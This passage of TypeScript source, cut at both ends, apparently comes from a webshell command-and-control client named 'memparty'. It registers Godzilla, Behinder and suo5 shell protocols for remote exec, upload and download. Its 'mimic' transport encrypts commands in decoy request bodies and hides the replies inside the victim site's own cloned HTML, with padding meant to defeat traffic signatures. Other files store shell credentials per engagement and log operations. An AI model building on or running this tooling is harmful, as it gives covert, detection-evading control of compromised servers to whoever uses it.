`aes_with_magic` transport uses\n * the same trick: appending junk of a key-derived length breaks the fixed\n * length signature of the ciphertext.\n */\nexport function padTailLength(aesKey: string): number {\n return Number.parseInt(md5Hex(aesKey).slice(0, 2), 16) % 16;\n}\n\n/** Alnum only — the padded value must stay legal in query strings and headers. */\nconst PAD_ALPHABET = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n\nfunction appendPad(text: string, aesKey: string): string {\n const n = padTailLength(aesKey);\n if (n === 0) return text;\n const raw = randomBytes(n);\n let tail = \"\";\n for (let i = 0; i < n; i++) tail += PAD_ALPHABET[raw[i]! % PAD_ALPHABET.length];\n return text + tail;\n}\n\nfunction stripPad(text: string, aesKey: string): string {\n const n = padTailLength(aesKey);\n return n === 0 ? text : text.slice(0, Math.max(0, text.length - n));\n}\n\n// ---------- field transforms (requests and responses both ride these) ----------\n\n/** plaintext -> ciphertext as it appears on the wire. */\nexport function encryptField(\n plaintext: Buffer,\n aesKey: string,\n cipher: MimicCipher = LEGACY_CIPHER,\n): string {\n let out = encodeBytes(crypt(plaintext, aesKey, true, cipher.algorithm), cipher.encoding);\n if (cipher.padTail) out = appendPad(out, aesKey);\n return out;\n}\n\n/** wire value -> plaintext. Throws on garbage (wrong key / not our traffic). */\nexport function decryptField(\n value: string,\n aesKey: string,\n cipher: MimicCipher = LEGACY_CIPHER,\n): Buffer {\n let text = value;\n if (cipher.padTail) text = stripPad(text, aesKey);\n return crypt(decodeString(text, cipher.encoding), aesKey, false, cipher.algorithm);\n}\n\n// ---------- response markers ----------\n\nexport interface ResponseMarkers {\n /** Left delimiter of the ciphertext inside the cover page. */\n left: string;\n /** Right delimiter of the ciphertext. */\n right: string;\n /** Wrap the ciphertext into the fragment injected into the cover page. */\n wrap(payload: string): string;\n}\n\n/**\n * Per-shell response markers. The 5-hex digest of pass+key keeps every\n * shell's delimiters unique; the style selects how the fragment hides in the\n * cover page (a JS assignment vs an HTML comment).\n */\nexport function deriveMarkers(\n pass: string,\n secretKey: string,\n cipher: MimicCipher = LEGACY_CIPHER,\n): ResponseMarkers {\n const id = md5Hex(pass + secretKey).slice(0, 5);\n if (cipher.marker === \"html-comment\") {\n const left = `<!--Re${id}_config:`;\n return { left, right: \"-->\", wrap: (p) => `${left}${p}-->` };\n }\n const left = `var Re${id}_config=\"`;\n return { left, right: '\";', wrap: (p) => `<script>${left}${p}\";</script>` };\n}\n","/**\n * Wire format shared by the mimic protocol's client (mimic.ts) and the mock\n * server (mimic-server.ts) — both sides must derive byte-identical values.\n *\n * The design borrows from Godzilla-ekp (see scratch/ekp analysis):\n * - request: POST form body `pass=<urlencode(base64(AES/ECB(data)))>`\n * - response: a full HTML page with the ciphertext embedded in a JS\n * assignment `var Re<md5(pass+key)[0:5]>_config=\"<base64>\";`\n * so the delimiters differ per shell and the page validates\n * as ordinary HTML/JS.\n * - crypto: AES/ECB/PKCS5Padding, key = md5(secretKey)[0:16] — same\n * derivation as Godzilla.\n *\n * What mimic adds on top: the HTML page is not hand-written — it is the\n * target site's own page, learned by `memparty profile` (site-profile.ts).\n *\n * The crypto/encoding/marker layer is selectable per profile — see\n * mimic-codecs.ts. This module keeps the original helpers (legacy defaults)\n * so pre-codec filters and tests keep working unchanged.\n */\nimport { md5Hex, md5Key16 } from \"./crypto.js\";\nimport {\n LEGACY_CIPHER,\n decryptField as codecDecryptField,\n encryptField as codecEncryptField,\n type MimicCipher,\n} from \"./mimic-codecs.js\";\nimport { randomBytes, randomInt, randomUUID } from \"node:crypto\";\n\n/** AES key derivation, identical on both sides. */\nexport function deriveAesKey(secretKey: string): string {\n return md5Key16(secretKey);\n}\n\n/**\n * Render placeholders in a decoy field value:\n * {{hex:N}} N hex chars {{b64:N}} N base64url chars\n * {{uuid}} a fresh UUID {{ts}} current unix seconds\n * {{int:A:B}} random integer in [A, B]\n */\nexport function renderFieldValue(value: string): string {\n return value\n .replaceAll(/\\{\\{hex:(\\d+)\\}\\}/g, (_m, n) =>\n randomBytes(Math.ceil(Number(n) / 2))\n .toString(\"hex\")\n .slice(0, Number(n)),\n )\n .replaceAll(/\\{\\{b64:(\\d+)\\}\\}/g, (_m, n) =>\n randomBytes(Math.ceil((Number(n) * 3) / 4))\n .toString(\"base64url\")\n .slice(0, Number(n)),\n )\n .replaceAll(/\\{\\{uuid\\}\\}/g, () => randomUUID())\n .replaceAll(/\\{\\{ts\\}\\}/g, () => String(Math.floor(Date.now() / 1000)))\n .replaceAll(/\\{\\{int:(\\d+):(\\d+)\\}\\}/g, (_m, a, b) =>\n String(randomInt(Number(a), Number(b) + 1)),\n );\n}\n\n/**\n * Left delimiter of the response ciphertext: `var Re<a1b2c>_config=\"`.\n * Derived from md5(pass+key)[0:5], so every shell gets unique markers.\n */\nexport function deriveLeftMarker(pass: string, secretKey: string): string {\n return `var Re${md5Hex(pass + secretKey).slice(0, 5)}_config=\"`;\n}\n\n/** Right delimiter of the response ciphertext (legacy js-var marker). */\nexport const RIGHT_MARKER = '\";';\n\n/** Encrypt + encode one request/response field. */\nexport function encryptField(\n plaintext: Buffer,\n aesKey: string,\n cipher: MimicCipher = LEGACY_CIPHER,\n): string {\n return codecEncryptField(plaintext, aesKey, cipher);\n}\n\n/** Decode + decrypt one field. Throws on garbage. */\nexport function decryptField(\n value: string,\n aesKey: string,\n cipher: MimicCipher = LEGACY_CIPHER,\n): Buffer {\n return codecDecryptField(value, aesKey, cipher);\n}\n\n/** Assemble a form-urlencoded body (values already raw; encoding happens here). */\nexport function buildFormBody(fields: Array<{ name: string; value: string }>): Buffer {\n return Buffer.from(\n fields.map((f) => `${f.name}=${encodeURIComponent(f.value)}`).join(\"&\"),\n \"utf8\",\n );\n}\n\n/** Assemble a JSON object body (values already raw; stringified here). */\nexport function buildJsonBody(fields: Array<{ name: string; value: string }>): Buffer {\n const obj: Record<string, string> = {};\n for (const f of fields) obj[f.name] = f.value;\n return Buffer.from(JSON.stringify(obj), \"utf8\");\n}\n\n/**\n * Client side: render a profile bodyTemplate — the ciphertext goes where\n * `{{payload}}` sits, decoy macros ({{hex:N}} etc.) are rendered too.\n * Any text format: chat-API JSON, GraphQL, XML, multipart (the boundary is\n * just literal text in the template, mirrored in the Content-Type header).\n */\nexport function renderBodyTemplate(template: string, payload: string): Buffer {\n return Buffer.from(renderFieldValue(template.replaceAll(\"{{payload}}\", payload)), \"utf8\");\n}\n\nfunction escapeRegExp(s: string): string {\n return s.replace(/[.*+?^${}()|[\\]\\\\]/g, \"\\\\$&\");\n}\n\n/**\n * Server side: extract and decrypt the command from a JSON body.\n * Cipher values never contain quotes/escapes, so a plain field match is\n * enough — no full JSON parser needed. Null when the field isn't ours.\n */\nexport function decodeJsonBody(\n body: Buffer,\n pass: string,\n aesKey: string,\n cipher: MimicCipher = LEGACY_CIPHER,\n): Buffer | null {\n const text = body.toString(\"utf8\");\n const m = new RegExp(`\"${escapeRegExp(pass)}\"\\\\s*:\\\\s*\"([^\"]*)\"`).exec(text);\n if (!m) return null;\n try {\n return decryptField(m[1]!, aesKey, cipher);\n } catch {\n return null;\n }\n}\n\n/**\n * Server side: extract and decrypt from a multipart/form-data body —\n * the value follows the part headers of the `name=\"field\"` part.\n */\nexport function decodeMultipartBody(\n body: Buffer,\n pass: string,\n aesKey: string,\n cipher: MimicCipher = LEGACY_CIPHER,\n): Buffer | null {\n const text = body.toString(\"utf8\");\n const m = new RegExp(`name=\"${escapeRegExp(pass)}\"[^\\\\n]*\\\\r?\\\\n(\\\\r?\\\\n|[^\\\\n]*\\\\r?\\\\n)*\\\\r?\\\\n([^\\\\r\\\\n]*)`).exec(text);\n if (!m) return null;\n try {\n return decryptField(m[2]!, aesKey, cipher);\n } catch {\n return null;\n }\n}\n\n/** Server side: extract and decrypt from an XML body — `<field>value</field>`. */\nexport function decodeXmlBody(\n body: Buffer,\n pass: string,\n aesKey: string,\n cipher: MimicCipher = LEGACY_CIPHER,\n): Buffer | null {\n const text = body.toString(\"utf8\");\n const m = new RegExp(`<${escapeRegExp(pass)}>([^<]*)</${escapeRegExp(pass)}>`).exec(text);\n if (!m) return null;\n try {\n return decryptField(m[1]!, aesKey, cipher);\n } catch {\n return null;\n }\n}\n\n/**\n * Server side: one probe over a raw body of unknown shape — tries every\n * anchor style (JSON field, multipart part, XML tag). The Java filter twins\n * this with jsonField/multipartField/xmlField.\n */\nexport function decodeAnyBody(\n body: Buffer,\n pass: string,\n aesKey: string,\n cipher: MimicCipher = LEGACY_CIPHER,\n): Buffer | null {\n return (\n decodeJsonBody(body, pass, aesKey, cipher) ??\n decodeMultipartBody(body, pass, aesKey, cipher) ??\n decodeXmlBody(body, pass, aesKey, cipher)\n );\n}\n\n/** Client side: build the POST form body carrying `plaintext`. */\nexport function encodeRequestBody(\n pass: string,\n plaintext: Buffer,\n aesKey: string,\n decoys: Array<{ name: string; value: string }> = [],\n cipher: MimicCipher = LEGACY_CIPHER,\n): Buffer {\n const fields = decoys.map((f) => ({ name: f.name, value: renderFieldValue(f.value) }));\n fields.push({ name: pass, value: encryptField(plaintext, aesKey, cipher) });\n return buildFormBody(fields);\n}\n\n/**\n * Server side: extract and decrypt the command from a form body.\n * Returns null when the body does not carry the pass parameter (i.e. the\n * request is an ordinary browser POST, not a shell request).\n */\nexport function decodeRequestBody(\n body: Buffer,\n pass: string,\n aesKey: string,\n cipher: MimicCipher = LEGACY_CIPHER,\n): Buffer | null {\n const text = body.toString(\"utf8\");\n for (const pair of text.split(\"&\")) {\n const eq = pair.indexOf(\"=\");\n if (eq <= 0) continue;\n if (pair.slice(0, eq) !== pass) continue;\n const value = decodeURIComponent(pair.slice(eq + 1));\n try {\n return decryptField(value, aesKey, cipher);\n } catch {\n return null;\n }\n }\n return null;\n}\n\n/**\n * Inject a ready-made fragment (marker + ciphertext) into the HTML\n * template — right before `</body>` when present, else appended.\n */\nexport function injectFragment(templateHtml: string, fragment: string): string {\n const idx = templateHtml.toLowerCase().lastIndexOf(\"</body>\");\n if (idx === -1) return templateHtml + fragment;\n return templateHtml.slice(0, idx) + fragment + templateHtml.slice(idx);\n}\n\n/**\n * Server side: wrap `b64Cipher` in the JS assignment and inject it into the\n * HTML template — right before `</body>` when present, else appended.\n */\nexport function injectIntoTemplate(\n templateHtml: string,\n b64Cipher: string,\n leftMarker: string,\n): string {\n return injectFragment(templateHtml, `<script>${leftMarker}${b64Cipher}${RIGHT_MARKER}</script>`);\n}\n\n/** Client side: pull the ciphertext back out of the HTML page. */\nexport function extractFromHtml(\n html: string,\n leftMarker: string,\n rightMarker: string = RIGHT_MARKER,\n): string | null {\n return extractBetween(html, leftMarker, rightMarker);\n}\n\n/** Extract the value between two literal bounds (empty right = to end of text). */\nexport function extractBetween(text: string, left: string, right: string): string | null {\n const start = text.indexOf(left);\n if (start === -1) return null;\n const valueStart = start + left.length;\n if (right === \"\") return text.slice(valueStart);\n const end = text.indexOf(right, valueStart);\n if (end === -1) return null;\n return text.slice(valueStart, end);\n}\n\nexport interface PayloadDelimiters {\n left: string;\n right: string;\n}\n\n/**\n * One extraction candidate per cover template. A template carrying\n * {{payload}} yields its exact left/right context (any text format — the\n * cipher alphabet never contains JSON/HTML delimiters); templates without a\n * placeholder share the marker pair (their fragment is marker-injected).\n * The client tries each candidate until one matches, so template rotation\n * on the server side never breaks extraction.\n */\nexport function templateDelimiters(\n templates: Array<{ template: string }>,\n markers: { left: string; right: string },\n): PayloadDelimiters[] {\n const out: PayloadDelimiters[] = [];\n let markerUsed = false;\n for (const t of templates) {\n const idx = t.template.indexOf(\"{{payload}}\");\n if (idx !== -1) {\n out.push({\n left: t.template.slice(0, idx),\n right: t.template.slice(idx + \"{{payload}}\".length),\n });\n } else if (!markerUsed) {\n out.push({ left: markers.left, right: markers.right });\n markerUsed = true;\n }\n }\n if (out.length === 0) out.push({ left: markers.left, right: markers.right });\n return out;\n}\n","/**\n * Protocol registry — the single place that knows which shell protocols\n * exist and what each one can do.\n *\n * Commands (connect/exec/upload/download) no longer switch on a hardcoded\n * tool name: they look the protocol up here and call through the\n * `ShellProtocol` interface. The three built-in tools are registered as\n * thin adapters — their modules (`godzilla.ts` etc.) are untouched — and\n * plugins like `mimic` register the same way.\n */\nimport type { ResolvedConnection } from \"../core/targets.js\";\nimport {\n downloadBehinder,\n execBehinder,\n testBehinder,\n uploadBehinder,\n} from \"./behinder.js\";\nimport {\n downloadGodzilla,\n execGodzilla,\n testGodzilla,\n uploadGodzilla,\n} from \"./godzilla.js\";\nimport { testSuo5, type Suo5Mode } from \"./suo5.js\";\nimport { mimicProtocol } from \"./mimic.js\";\nimport type {\n CommonConnectOptions,\n ConnectTestResult,\n DownloadResult,\n ExecResult,\n TransferResult,\n} from \"./types.js\";\n\n/** Per-protocol extras collected from CLI flags / saved targets. */\nexport interface ProtocolOptions {\n /** godzilla: remote OS family for the shell wrapper. */\n os?: \"auto\" | \"windows\" | \"linux\";\n /** suo5: protocol variant. */\n suo5Mode?: Suo5Mode;\n /** godzilla: charset for non-ASCII remote paths. */\n remoteCharset?: string;\n /** mimic: site profile name (see 'memparty profile'). */\n profile?: string;\n /** mimic: randomize the request path from the site profile. */\n dynamicPath?: boolean;\n}\n\n/** Everything a protocol handler needs for one operation. */\nexport interface ProtocolRequest {\n conn: ResolvedConnection;\n common: CommonConnectOptions;\n options: ProtocolOptions;\n}\n\nexport type Capability = \"exec\" | \"upload\" | \"download\";\n\nexport interface ShellProtocol {\n readonly name: string;\n /** One-line summary shown in help/listing. */\n readonly description?: string;\n /** Handshake / credentials check. */\n test(req: ProtocolRequest): Promise<ConnectTestResult>;\n exec?(req: ProtocolRequest, command: string): Promise<ExecResult>;\n upload?(req: ProtocolRequest, remotePath: string, data: Buffer): Promise<TransferResult>;\n download?(req: ProtocolRequest, remotePath: string): Promise<DownloadResult>;\n}\n\nconst protocols = new Map<string, ShellProtocol>();\n\nexport function registerProtocol(protocol: ShellProtocol): void {\n protocols.set(protocol.name, protocol);\n}\n\nexport function getProtocol(name: string): ShellProtocol | undefined {\n return protocols.get(name);\n}\n\n/** Names of registered protocols, optionally filtered by capability. */\nexport function protocolNames(capability?: Capability): string[] {\n const all = [...protocols.values()];\n const usable = capability ? all.filter((p) => p[capability] !== undefined) : all;\n return usable.map((p) => p.name);\n}\n\n/**\n * Look up a protocol or throw an error naming the available ones — this is\n * the message a user sees for a typo'd `--tool`.\n */\nexport function requireProtocol(name: string): ShellProtocol {\n const protocol = getProtocol(name);\n if (!protocol) {\n throw new Error(`unknown protocol ${JSON.stringify(name)} (available: ${protocolNames().join(\", \")})`);\n }\n return protocol;\n}\n\n/** Error message when a protocol lacks the requested capability. */\nexport function unsupportedMessage(protocol: ShellProtocol, capability: Capability): string {\n return `protocol '${protocol.name}' does not support ${capability}`;\n}\n\n// ---- built-in adapters (wrap the existing modules, internals unchanged) ----\n\nconst godzillaProtocol: ShellProtocol = {\n name: \"godzilla\",\n description: \"Godzilla JAVA_AES_BASE64 shell\",\n test: ({ conn, common }) =>\n testGodzilla(conn.url, conn.pass ?? \"pass\", conn.key ?? \"key\", common),\n exec: ({ conn, common, options }, command) =>\n execGodzilla(conn.url, conn.pass ?? \"pass\", conn.key ?? \"key\", command, {\n ...common,\n os: options.os,\n }),\n upload: ({ conn, common, options }, remotePath, data) =>\n uploadGodzilla(conn.url, conn.pass ?? \"pass\", conn.key ?? \"key\", remotePath, data, {\n ...common,\n remoteCharset: options.remoteCharset,\n }),\n download: ({ conn, common, options }, remotePath) =>\n downloadGodzilla(conn.url, conn.pass ?? \"pass\", conn.key ?? \"key\", remotePath, {\n ...common,\n remoteCharset: options.remoteCharset,\n }),\n};\n\nconst behinderProtocol: ShellProtocol = {\n name: \"behinder\",\n description: \"Behinder AES shell\",\n test: ({ conn, common }) => testBehinder(conn.url, conn.pass ?? \"rebeyond\", common),\n exec: ({ conn, common }, command) =>\n execBehinder(conn.url, conn.pass ?? \"rebeyond\", command, common),\n upload: ({ conn, common }, remotePath, data) =>\n uploadBehinder(conn.url, conn.pass ?? \"rebeyond\", remotePath, data, common),\n download: ({ conn, common }, remotePath) =>\n downloadBehinder(conn.url, conn.pass ?? \"rebeyond\", remotePath, common),\n};\n\nconst suo5Protocol: ShellProtocol = {\n name: \"suo5\",\n description: \"suo5 HTTP tunnel (connect test only)\",\n test: ({ conn, common, options }) => testSuo5(conn.url, { ...common, mode: options.suo5Mode }),\n};\n\nregisterProtocol(godzillaProtocol);\nregisterProtocol(behinderProtocol);\nregisterProtocol(suo5Protocol);\nregisterProtocol(mimicProtocol);\n","/**\r\n * Global operation log — every gen / probe / connect / exec / download /\r\n * upload / target operation is appended as one JSON line, giving an\r\n * auditable trail of what ran, against which target, and how it ended.\r\n *\r\n * Location: ~/.memparty/operations.jsonl (override with MEMPARTY_OPLOG).\r\n * Logging is best-effort: a broken log file/dir must never break the\r\n * operation being logged.\r\n *\r\n * Secrets are never logged: no pass/key/headerValue, no payload bytes,\r\n * no file contents. Exec output is truncated (see OUTPUT_LIMIT).\r\n */\r\nimport { appendFileSync, existsSync, mkdirSync, readFileSync } from \"node:fs\";\r\nimport { homedir } from \"node:os\";\r\nimport { dirname, join } from \"node:path\";\r\n\r\nexport type OpCategory =\r\n | \"gen\"\r\n | \"probe\"\r\n | \"connect\"\r\n | \"exec\"\r\n | \"download\"\r\n | \"upload\"\r\n | \"save\"\r\n | \"note\"\r\n | \"remove\";\r\n\r\nexport interface OpLogEntry {\r\n /** ISO timestamp. */\r\n ts: string;\r\n category: OpCategory;\r\n /** What happened: \"gen\" | \"probe\" | \"connect\" | \"exec\" | \"save\" | \"note\" | \"remove\". */\r\n action: string;\r\n /** Saved `project/shell` reference, when the operation used one. */\r\n targetName?: string;\r\n url?: string;\r\n tool?: string;\r\n ok: boolean;\r\n durationMs?: number;\r\n /** Short human-readable success detail. */\r\n detail?: string;\r\n error?: string;\r\n /** exec only: the command line. */\r\n command?: string;\r\n /** exec only: remote output, truncated to OUTPUT_LIMIT. */\r\n output?: string;\r\n outputTruncated?: boolean;\r\n /** Extra structured fields (target meta, gen params — never credentials). */\r\n meta?: Record<string, unknown>;\r\n}\r\n\r\n/** exec output is truncated to this many characters in the log. */\r\nexport const OUTPUT_LIMIT = 2000;\r\n\r\nexport function opLogPath(): string {\r\n return process.env.MEMPARTY_OPLOG ?? join(homedir(), \".memparty\", \"operations.jsonl\");\r\n}\r\n\r\n/** Append one entry. Never throws. */\r\nexport function logOp(entry: Omit<OpLogEntry, \"ts\">): void {\r\n try {\r\n const file = opLogPath();\r\n mkdirSync(dirname(file), { recursive: true });\r\n appendFileSync(file, `${JSON.stringify({ ts: new Date().toISOString(), ...entry })}\\n`);\r\n } catch {\r\n // best-effort logging — the operation itself already completed\r\n }\r\n}\r\n\r\nexport interface OpFilter {\r\n category?: OpCategory;\r\n /**\r\n * Match by saved target reference (\"web1\" also matches \"web1/bh9060\")\r\n * or by a substring of the URL (e.g. a host).\r\n */\r\n target?: string;\r\n /** Max entries returned (default 50). */\r\n limit?: number;\r\n}\r\n\r\n/** Read entries matching the filter, newest first. */\r\nexport function readOps(filter: OpFilter = {}): OpLogEntry[] {\r\n let entries: OpLogEntry[] = [];\r\n try {\r\n const file = opLogPath();\r\n if (existsSync(file)) {\r\n for (const line of readFileSync(file, \"utf8\").split(\"\\n\")) {\r\n const trimmed = line.trim();\r\n if (!trimmed) continue;\r\n try {\r\n entries.push(JSON.parse(trimmed) as OpLogEntry);\r\n } catch {\r\n // skip malformed lines\r\n }\r\n }\r\n }\r\n } catch {\r\n return [];\r\n }\r\n if (filter.category) {\r\n entries = entries.filter((e) => e.category === filter.category);\r\n }\r\n if (filter.target) {\r\n const t = filter.target;\r\n entries = entries.filter(\r\n (e) =>\r\n e.targetName === t || e.targetName?.startsWith(`${t}/`) || e.url?.includes(t),\r\n );\r\n }\r\n return entries.slice(-(filter.limit ?? 50)).reverse();\r\n}\r\n\r\n/** Truncate exec output for the log. */\r\nexport function truncateOutput(output: string): { output: string; truncated: boolean } {\r\n if (output.length <= OUTPUT_LIMIT) return { output, truncated: false };\r\n return { output: output.slice(0, OUTPUT_LIMIT), truncated: true };\r\n}\r\n\r\n/** One-line rendering for `memparty log`. */\r\nexport function formatOp(e: OpLogEntry): string {\r\n const ts = e.ts.replace(\"T\", \" \").slice(0, 19);\r\n const cat = e.category.padEnd(7);\r\n const status = e.ok ? \"ok \" : \"FAIL\";\r\n const target = e.targetName ?? e.url ?? \"-\";\r\n const ms = e.durationMs !== undefined ? ` (${e.durationMs}ms)` : \"\";\r\n let summary: string;\r\n if (e.category === \"exec\") {\r\n const out = (e.output ?? e.error ?? \"\").split(\"\\n\", 1)[0]!;\r\n const more =\r\n (e.output ?? \"\").includes(\"\\n\") || e.outputTruncated ? \"…\" : \"\";\r\n summary = `$ ${e.command ?? \"\"} → ${out}${more}`;\r\n } else {\r\n summary = e.detail ?? e.error ?? e.action;\r\n }\r\n return `${ts} ${cat} ${status} ${target} ${summary}${ms}`;\r\n}\r\n","/**\r\n * Named shell targets persisted to a JSON file, so a shell's URL +\r\n * credentials + gate header are saved once and later referenced by name:\r\n * memparty exec web1/bh9060 --cmd \"whoami\"\r\n *\r\n * A **project** groups several shells that belong to one engagement, with\r\n * an optional remark and category. A shell reference is `<project>/<shell>`;\r\n * a bare project name resolves when it holds exactly one shell.\r\n *\r\n * Store location: ~/.memparty/targets.json (override with MEMPARTY_TARGETS).\r\n */\r\nimport { existsSync, mkdirSync, readFileSync, writeFileSync } from \"node:fs\";\r\nimport { homedir } from \"node:os\";\r\nimport { dirname, join } from \"node:path\";\r\n\r\nimport type { ConnectTool } from \"../connect/types.js\";\r\n\r\n/** A saved shell connection profile, stored inside a project. */\r\nexport interface StoredShell {\r\n url: string;\r\n tool: ConnectTool;\r\n pass?: string;\r\n key?: string;\r\n headerName?: string;\r\n headerValue?: string;\r\n extraHeaders?: Record<string, string>;\r\n insecure?: boolean;\r\n /** mimic protocol: site profile name (see 'memparty profile'). */\r\n profile?: string;\r\n /** Free-form note for this shell (e.g. \"DMZ 跳板机\"). */\r\n remark?: string;\r\n createdAt: string;\r\n updatedAt: string;\r\n}\r\n\r\nexport type ShellInput = Omit<StoredShell, \"createdAt\" | \"updatedAt\">;\r\n\r\n/** A named group of shells with a remark and a category. */\r\nexport interface StoredProject {\r\n remark?: string;\r\n category?: string;\r\n createdAt: string;\r\n updatedAt: string;\r\n shells: Record<string, StoredShell>;\r\n}\r\n\r\nconst NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;\r\n\r\nfunction checkName(kind: string, name: string): void {\r\n if (!NAME_RE.test(name)) {\r\n throw new Error(\r\n `invalid ${kind} name ${JSON.stringify(name)} — use letters, digits, '.', '_', '-'`,\r\n );\r\n }\r\n}\r\n\r\nexport function targetStorePath(): string {\r\n return process.env.MEMPARTY_TARGETS ?? join(homedir(), \".memparty\", \"targets.json\");\r\n}\r\n\r\nexport function listProjects(): Record<string, StoredProject> {\r\n try {\r\n const file = targetStorePath();\r\n if (!existsSync(file)) return {};\r\n const data: unknown = JSON.parse(readFileSync(file, \"utf8\"));\r\n if (data !== null && typeof data === \"object\" && !Array.isArray(data)) {\r\n return data as Record<string, StoredProject>;\r\n }\r\n } catch {\r\n // corrupted store — treat as empty rather than crash the CLI\r\n }\r\n return {};\r\n}\r\n\r\nexport function getProject(name: string): StoredProject | null {\r\n return listProjects()[name] ?? null;\r\n}\r\n\r\nfunction writeProjects(projects: Record<string, StoredProject>): void {\r\n const file = targetStorePath();\r\n mkdirSync(dirname(file), { recursive: true });\r\n writeFileSync(file, `${JSON.stringify(projects, null, 2)}\\n`, { mode: 0o600 });\r\n}\r\n\r\n/** Create a project or update its remark/category (only given fields change). */\r\nexport function saveProjectMeta(\r\n name: string,\r\n meta: { remark?: string; category?: string },\r\n): StoredProject {\r\n checkName(\"project\", name);\r\n const projects = listProjects();\r\n const now = new Date().toISOString();\r\n const existing = projects[name];\r\n const norm = (v: string | undefined) => (v ? v : undefined);\r\n const project: StoredProject = {\r\n remark: meta.remark !== undefined ? norm(meta.remark) : existing?.remark,\r\n category: meta.category !== undefined ? norm(meta.category) : existing?.category,\r\n createdAt: existing?.createdAt ?? now,\r\n updatedAt: now,\r\n shells: existing?.shells ?? {},\r\n };\r\n projects[name] = project;\r\n writeProjects(projects);\r\n return project;\r\n}\r\n\r\n/** Save a shell under `<project>/<shell>`; creates the project if needed. */\r\nexport function saveShell(projectName: string, shellName: string, input: ShellInput): StoredShell {\r\n checkName(\"project\", projectName);\r\n checkName(\"shell\", shellName);\r\n const projects = listProjects();\r\n const now = new Date().toISOString();\r\n const project = projects[projectName] ?? {\r\n createdAt: now,\r\n updatedAt: now,\r\n shells: {},\r\n };\r\n const existing = project.shells[shellName];\r\n const stored: StoredShell = {\r\n ...input,\r\n // remark is merged (empty string clears); other fields are overwritten\r\n remark: input.remark !== undefined ? input.remark || undefined : existing?.remark,\r\n createdAt: existing?.createdAt ?? now,\r\n updatedAt: now,\r\n };\r\n project.shells[shellName] = stored;\r\n project.updatedAt = now;\r\n projects[projectName] = project;\r\n writeProjects(projects);\r\n return stored;\r\n}\r\n\r\n/** Remove a whole project. Returns false when it did not exist. */\r\nexport function removeProject(name: string): boolean {\r\n const projects = listProjects();\r\n if (!(name in projects)) return false;\r\n delete projects[name];\r\n writeProjects(projects);\r\n return true;\r\n}\r\n\r\n/** Remove one shell from a project. Returns false when it did not exist. */\r\nexport function removeShell(projectName: string, shellName: string): boolean {\r\n const projects = listProjects();\r\n const project = projects[projectName];\r\n if (!project || !(shellName in project.shells)) return false;\r\n delete project.shells[shellName];\r\n project.updatedAt = new Date().toISOString();\r\n writeProjects(projects);\r\n return true;\r\n}\r\n\r\n/** Set or clear (empty string) a shell's remark. */\r\nexport function saveShellMeta(\r\n projectName: string,\r\n shellName: string,\r\n meta: { remark?: string },\r\n): StoredShell {\r\n const projects = listProjects();\r\n const shell = projects[projectName]?.shells[shellName];\r\n if (!shell) {\r\n throw new Error(`unknown shell ${JSON.stringify(`${projectName}/${shellName}`)}`);\r\n }\r\n if (meta.remark !== undefined) {\r\n shell.remark = meta.remark || undefined;\r\n }\r\n const now = new Date().toISOString();\r\n shell.updatedAt = now;\r\n projects[projectName]!.updatedAt = now;\r\n writeProjects(projects);\r\n return shell;\r\n}\r\n\r\n/** CLI/MCP flags that can override a stored shell's values. */\r\nexport interface ConnectionFlags {\r\n url?: string;\r\n tool?: string;\r\n pass?: string;\r\n key?: string;\r\n headerName?: string;\r\n headerValue?: string;\r\n extraHeaders?: Record<string, string>;\r\n insecure?: boolean;\r\n profile?: string;\r\n}\r\n\r\nexport interface ResolvedConnection {\r\n url: string;\r\n tool: ConnectTool;\r\n pass?: string;\r\n key?: string;\r\n headerName?: string;\r\n headerValue?: string;\r\n extraHeaders: Record<string, string>;\r\n insecure?: boolean;\r\n /** mimic protocol: site profile name. */\r\n profile?: string;\r\n /** Canonical `project/shell` reference, when resolved from the store. */\r\n targetName?: string;\r\n}\r\n\r\nfunction sanitizeName(name: string): string {\r\n const s = name.replace(/[^A-Za-z0-9._-]/g, \"_\");\r\n return /^[A-Za-z0-9]/.test(s) ? s : `x${s}`;\r\n}\r\n\r\n/**\r\n * Auto-save a verified connection under a derived `<host>/<tool>` name and\r\n * return the canonical reference. A slot already pointing at the same URL is\r\n * overwritten; a name taken by a different URL gets a numeric/port suffix.\r\n */\r\nexport function autoSaveShell(conn: ResolvedConnection): string {\r\n let host = \"target\";\r\n let port = \"\";\r\n try {\r\n const u = new URL(conn.url);\r\n host = u.hostname || host;\r\n port = u.port;\r\n } catch {\r\n // keep the fallback name\r\n }\r\n const projectName = sanitizeName(host) || \"target\";\r\n const existing = getProject(projectName)?.shells ?? {};\r\n\r\n let shellName = Object.keys(existing).find(\r\n (n) => existing[n]!.url === conn.url && existing[n]!.tool === conn.tool,\r\n );\r\n if (!shellName) {\r\n const base = sanitizeName(conn.tool) || \"shell\";\r\n shellName = base;\r\n if (existing[shellName]) shellName = port ? `${base}-${port}` : `${base}-2`;\r\n for (let i = 2; existing[shellName]; i++) shellName = `${base}-${i}`;\r\n }\r\n\r\n saveShell(projectName, shellName, {\r\n url: conn.url,\r\n tool: conn.tool,\r\n pass: conn.pass,\r\n key: conn.key,\r\n headerName: conn.headerName,\r\n headerValue: conn.headerValue,\r\n extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : undefined,\r\n insecure: conn.insecure,\r\n profile: conn.profile,\r\n });\r\n return `${projectName}/${shellName}`;\r\n}\r\n\r\n/**\r\n * Merge an optional saved shell reference (`<project>/<shell>` or a bare\r\n * project holding exactly one shell) with explicit flags.\r\n * Priority: explicit flag > stored value.\r\n */\r\nexport function resolveConnection(\r\n ref: string | undefined,\r\n flags: ConnectionFlags,\r\n): ResolvedConnection {\r\n let stored: StoredShell | undefined;\r\n let targetName: string | undefined;\r\n\r\n if (ref) {\r\n const slash = ref.indexOf(\"/\");\r\n const projectName = slash === -1 ? ref : ref.slice(0, slash);\r\n let shellName = slash === -1 ? undefined : ref.slice(slash + 1);\r\n\r\n const project = getProject(projectName);\r\n if (!project) {\r\n throw new Error(`unknown project ${JSON.stringify(projectName)} — see 'memparty list'`);\r\n }\r\n if (!shellName) {\r\n const names = Object.keys(project.shells);\r\n if (names.length === 0) {\r\n throw new Error(`project ${JSON.stringify(projectName)} has no shells yet`);\r\n }\r\n if (names.length > 1) {\r\n throw new Error(\r\n `project ${JSON.stringify(projectName)} has ${names.length} shells — pick one: ` +\r\n names.map((n) => `${projectName}/${n}`).join(\", \"),\r\n );\r\n }\r\n shellName = names[0]!;\r\n }\r\n stored = 